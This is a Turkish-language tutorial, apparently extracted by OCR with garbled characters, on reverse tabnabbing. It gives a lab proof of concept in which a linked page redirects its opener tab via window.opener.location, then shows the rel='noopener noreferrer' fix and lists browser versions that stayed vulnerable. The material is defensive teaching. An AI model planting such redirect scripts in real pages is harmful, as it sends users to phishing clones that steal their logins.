Phishing By Navigating Browser Tabs

Normalde <a> tag' target="_blank" ile kullanildiginda bir bagka sayfaya sicraririz. Fakat
target="_blank" ile sicradigimiz sayfalar parent sayfanin window.open nesnesini diizenleyebilme
yetkisine sahip olduklarindan sigradigimz sayfa javascript kodlamasi ile window.open nesnesini
manipule edebilir ve parent sayfay1 baska bir sayfaya yonlendirebilir. Boylece kurban parent
sayfaya dondiigiinde belki de orijinal sayfanin birebir kopyasi bir baska sayfay1

gortintiileyeceginden kullanici adi, sifre gibi bilgilerini sayfaya verebilir ve hassas bilgilerini
boylece kaptirabilir. Bu saldin tiiriine phishing with navigating Browsers tabs adi verilmektedir.

Uygulama // Birebir denenmisgtir ve bagariyla uygulanmistir.
Phising By Navigating Browsers Tabs saldirisin1 localhost'umuzda deneyelim. Oncelikle bu saldir
icin bir klasér olusturalim.

/var/www/Phising By Navigating Browsers Tabs Uygulamasi

Ardindan icine mevcut sayfa ve temsilen hack yemis ticiincii parti bir sunucunun sayfasini koyalim.

existingPage.html
attackingPage.html

Simdi mevcut sayfa iiglincii parti sunucunun sayfasina bir link versin.

existingPage.html
<a href="attackingPage.html" target="_blank">Go to the page</a>

Output:

localhost/Phishing by Navigating Browser Tabs UygulamasifexistingPage.html - Chromium
[ localhost/Phishing x

€ C 1 | @ localhost,

Go to the page
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Ardindan {igiincii parti sunucu hack yemis olsun ve saldirgan ilgili sayfaya asagidaki javascript
kodlarini gémmiis olsun.

attackingPage.html

<html>
<head>

<meta charset="UTF-8" />
<title>Saldiran Sayfa</title>

</head>
<body>

// Uglincii parti sunucunun normal web sayfa kodlar
...

I ..

// Saldirganin {iglincii parti sunucudaki sayfaya yerlestirdigi zararli kodlar

<script>

new_page = 'http://www.includekarabuk.com’;
window.opener.location = new_page
</script>

</body>
</html>

Uciincii parti sunucudaki web sayfasinin <script> tag'lar arasinda goriildiigii iizere window.opener

nesnesine (yani target="_blank" ile gelindigi i¢in parent'in window.opener nesnesine) bir url adresi
atanmaktadir. Bu atama ile parent sayfa bir anda atanan url adresine gidecektir.

localhost/Phishing by Navigating Browser Tabs UygulamasifexistingPage.html - Chromium
[ localhost/Phishinc x
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Go to the page
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( Parent sayfada linke tiklanir ve yeni sayfaya gidilir )



Saldiran Sayfa - Chromium

Anasayfa | #Includ. x ¥ [3 saldiran Sayfa
C 1Y | @ localhost/Phishing%20by%20Navigating%20Browser%20Tabs%20Uygulamasi/attackingPage.html

( Yeni sayfa acilir)

Saldirai ayfa - Chromium
@ & Anasayfa | #Includ: x

C (} @ localhgllt/Phishing%20by%20
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(Parent sayfa belirlenen url'ye otomatikmen gider)

Boylece kurban mevcut sekmede yeni bir sayfayla karsilasacaktir ve bu sayfa énceki mevcut

sayfanin birebir klonu olursa kurban olasi bir phishing saldirisina maruz kalacaktir.



Phishing By Navigating Browser Tabs Nasil Engellenir?

Web uygulamalarinda kullanicilarin bu saldiritya maruz kalmamalari icin gelistiriciler
target="_blank" kullanan linklere rel attribute'unu asagidaki gibi koymalidirlar.

<a href="url-address" target="_blank" rel="noopener noreferrer"> some strings </a>

noopener : window.opener't Chrome 49 ve Opera 36'da null'lar.

noreferrer : window.opener1 eski tarayicilarda ve Firefox'da null'lar. Ayrica http referrer
header’inin goénderimini engeller.

noopener phishing by navigating browser tabs saldirisini 6nler. noreferrer ise eski tarayicilarda ve
Firefox’da phishing by navigating browser tabs saldirisin1 6nler, ayrica gidilen sayfaya Referrer
header’inin gonderimini engeller. Bu sekilde koyuldugu takdirde sigranilan ii¢lincii parti sayfa

parent'in window_opener nesnesini manipule edemeyecektir ve mevcut sayfa farkli sayfalara
yonlendirilemeyecektir.

Bunu test etmek i¢in az 6nce uygulamada yaptigimiz sayfaya ilgili rel attribute'unu koyalim ve ayni
saldir ise yaracak mi test edelim.

existingPage.html

<a href="attackingPage.html" target="_blank" rel="noopener noreferrer">Go to the
page</a>

Output:

localhost/Phishing by Navigating Browser Tabs UygulamasifexistingPage.html - Chromium
[ localhost/Phishing x

€ C 1 | @ localhost,

Go to the page
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attackingPage.html (Ayn1 kodlar oldugu gibi kalir)

<html>
<head>

<meta charset="UTF-8" />
<title>Saldiran Sayfa</title>

</head>
<body>

// Uglincii parti sunucunun normal web sayfa kodlar1
...
I/
// Saldirganin {iglincii parti sunucudaki sayfaya yerlestirdigi zararli kodlar
<script>
new_page = 'http://www.includekarabuk.com’;
window.opener.location = new_page
</script>
</body>
</html>

Ardindan mevcut sayfada linke tiklanir.

localhost/Phishing by Mavigating Browser Tabs UygulamasifexistingPage.html - Chromium

[ localhost/Phishinc x §
& C ) | ® localhost/Phishing%20by%20Navigating%20Browser%20Tabs%20Uygulamasi/existingPage.htm

Go to the page

( Parent sayfada linke tiklariz ve {iglincii parti sayfaya sigrariz )



Saldiran Sayfa - Chromium

[0 localhost/Phishing x ¥ [ Saldiran Sayfa
C 1t | © localhost/Phishing%20b

@
-
S
7y
9
-]

( Yeni sayfa caligir)

Saldira- sayia - Chromium
[ localhost/Phishing x

c 0

[ saldiran Sayfa

@ localhg®t/F

( Mevcut sayfa aym kalir )

— I

Goriildiigii tizere rel="noopener noreferrer" attribute'u ile mevcut sayfanin window.opener
nesnesini manipule edilemez kildik. Boylece sigradigimiz sayfa manipulasyon islemini denese de
bagaramamistir ve mevcut sayfa oldugu gibi kalmistir. Sonug olarak web uygulamamizda ticiincii
parti sunuculara <a target="_blank"> ile link veriyorsak iigiincii parti sunucunun hack
yiyebilecegini gtz oniinde bulundurarak oradan gelebilecek olas1 window.opener
manipulasyonlarina kars1 <a> tag'imizda rel="noopener noreferrer" attribute'unu kullanmamiz
gerekir. Boylece kullanicilar web uygulamamizdan {igiincii parti sunucuya si¢radiklarinda tiglincii
parti sunucu window.opener nesnesini manipule etme girisiminde bulunsa dahi basaramayacaktir ve
web uygulamamizin mevcut sayfasinin olasi bir phishing sayfasina yonlenmesini engellemis
olacagiz.



Web Tarayicilarda Giincellemeler ile Kapatilan Phishing By Navigating Browser Tabs
Acikhg

(+) Eski versiyon web tarayicilar Windows 10 isletim sisteminde indirilerek birebir denenmistir ve
basariyla uygulanmisgtir.

Web tarayicilarin giincel son siiriimlerinde mimarilerindeki hatadan kaynakl Phishing By
Navigating Browser Tabs aciklig1 kapatilmistir. Ancak énceki siiriimlerinde agiklik var oldugundan
onceki siirtimlerinde somiirtilebilmektedir.

Firefox, Chrome, Opera, .... gibi tarayicilar kendiliginden otomatik son siiriime giincelleme
yapmaktadirlar. Bu noktada son siiriime otomatik giincellenen popiiler web tarayici kullanicilar
acikliktan etkilenmeyeceklerdir. Ancak eski isletim sistemlerini kullanan kullanicilar (6rn; eski mac
os veya linux) sistem repository’lerinden (depolarindan / marketlerinden) popiiler web
tarayicilarinin o sisteme 6zgii versiyonlarini (eski siirimlerini) indireceklerinden ve
kullanacaklarindan acikliktan etkileneceklerdir. Ayrica windows sistem giincellestirmelerini
tamamlamayan kullanicilar Edge web tarayicinin giincel olmayan halini kullanacaklarindan
acikliktan etkileneceklerdir.

Bilgi:

Eski isletim sistemlerine 6rnek vermek gerekirse érnegin bir linux dagitimi Ubuntu 14.04
LTS uzun dénem destek siiresi bitmis durumdadir, ancak hatir1 sayilir kullanicisi sistemdeki
varligim uygulamalar, yerlesik diizeni, bagimliliklar1 nedeniyle siirdiirebilir. Dolayisiyla bu
v.b. eski isletim sistemlerinde kalmis kullanicilar popiiler web tarayicilarinin eski

stirimlerini (ilgili o dagitima 6zgii siiriimlerini) kullanacaklarindan agikliktan etkilenebilir
halde kalacaklardir.

Asagida popiiler web tarayicilarin hangi siiriimiine kadar Phishing By Navigating Browser Tabs
uygulamas: yapilabiliyor (agiklig1 somiiriilebiliyor) bilgisi web tarayicilarin eski siiriimleri agiklik
somiiriilemeyene kadar indirilmek suretiyle deneme yanilma ile test edilerek not edilmistir.

a) Firefox

Firefox tarayicilarda 78.9 ESR versiyonuna (23 Mart 2021 tarihli siiriime) kadar bu aciklik
uygulamasi ¢calismaktadir. 79 ve yukarisi siirimlerde bu acgiklik firefox web tarayicida kapatilmisgtir.

Eski Mozilla Firefox Setup’lari icin;

https://ftp.mozilla.org/pub/firefox/releases/

Uyary;

Firefox Hakkinda sayfasina gidildiginde otomatik son siiriime giincelleme test edilmekte ve
son siirtime giincelleme olmakta. Bu nedenle Firefox 78.9 ESR siiriimde hakkinda sayfasina
gidilmeden Phishing By Navigating Browser Tabs uygulamasi calistirilmistir ve calismistir.
79 ve yukarisinda ise agikhigin kapatildigi goriilmiistiir.

b) Opera

Opera tarayicilarda 73.0 versiyonuna (9 Aralik 2020 tarihli siiriime) kadar bu agiklik uygulamasi



calismaktadir. 74.0 ve yukarisi siiriimlerde bu aciklik opera web tarayicida kapatilmistir.
Eski Opera Setup’lar Igin;
https://get.opera.com/ftp/pub/opera/desktop/
Uyari;

Opera tarayicilarda Hakkinda sayfasina gidildiginde otomatik son siiriime giincelleme test
edilmekte ve son siiriime giincelleme olmakta. Bu nedenle Opera 73.0 siiriimde hakkinda
sayfasina gidilmeden Phishing By Navigating Browser Tabs uygulamasi ¢alistirilmistir ve
calismistir. 74.0’de ve yukarisinda acikligin ise kapatildigi goriilmiistiir.

¢) Chromium

Chromium tarayicilarda 88.0.4306 versiyonuna (27 Ekim 2020 tarihli siirtime) kadar bu agiklik
uygulamasi calismaktadir. 88.0.4323 ve yukarisi siirimlerde bu agiklik chromium web tarayicida
kapatilmisgtir.

Eski Chromium Setup’lan I¢in;

https://chromium.tr.uptodown.com/windows/versions

d) Chrome

Chrome tarayicilarda tahmini olarak 84.0.4147 versiyonuna (14 Temmuz 2020 tarihli siiriime)
kadar bu agiklik uygulamasi ¢alismaktadir. Chrome tarayicilar eski siiriimlerini giivenlik geregi
servis etmemektedir. Daima en son siiriim indirilebilmektedir. Bu nedenle test icab1 linux dagitimi
Ubuntu 18.04 LTS’de yiiklii eski chrome versiyonu 84.0.4147’ye bakildiginda (14 Temmuz 2020
tarihli stirime) acikligin halen galistig1 gozlemlendi. Dolayisiyla bu siiriim dolaylarina kadar bu
aciklik calismakta denebilir. Ancak giincel son siiriimlerde (6rn; su an ki 2 Mart 2021 tarihli son
stirim chrome 89.0.4389°da) bu acgiklik chrome web tarayicida kapatilmistir.

e) Edge

Edge tarayicilarda bu aciklik windows 10 giincellestirmeleri tam olana kadar aciktir. Windows 10
giincellestirmeleri ile edge web tarayicilarda bu aciklik kapatilmistir.

Bilgi:

VMWare Workstation’da sifir kurulum windows 10 kurulmustur ve Edge tarayicisinda
Phishing By Navigating Browser Tabs uygulamasi ¢alismistir. Ancak tiim
giincellestirmelerin yiiklii oldugu ana makinedeki Windows 10’da Edge tarayicisinda
Phishing By Navigating Browser Tabs uygulamasi ¢alismamistir. Dolayisiyla windows 10
giincellestirmeleri tam oldugunda Edge taraycisindaki bu agiklik kapalidir.



e) Internet Explorer

Internet Explorer tarayicilar Windows 10°da halen bu agikliga sahiptirler. Sadece acikhigin
somiirtilebilmesi i¢in yan sekmeye atlamldiginda “Internet Explorer bu web sayfasinin komut
dosyasi veya ActiveX denetimi ¢alistirmasini kisitladir.” durum ¢ubuguna “Engellenen igerige izin
ver” onay1 vermek gerekiyor. Boylece mevcut sekmede yonlendirme gerceklesmekte ve aciklik
somiirtilebilmekte.

Sonug

Bu acgiklik 2017 yilinda kesfedilen bir agikliktir (bkz. CWE veritabanina eklenme tarihi 26 Eyliil
2017, “Use of Web Link to Untrusted Target with window.opener Access”). Popiiler web
tarayicilarinin aldiklar1 2020-2021 yih giincellemeleri ile agikliktan etkilenecek kullanic kitlesi
azinhga cekilmistir, ama azinlik kullanic1 kitlesi {izerinde (yani bulunabilecekleri eski sistem
dolayisiyla eski web tarayici kullanan veya windows sistem giincellestirmelerini tamamlamayan
kullanic kitlesi tizerinde) agikligin sundugu risk siirecektir.
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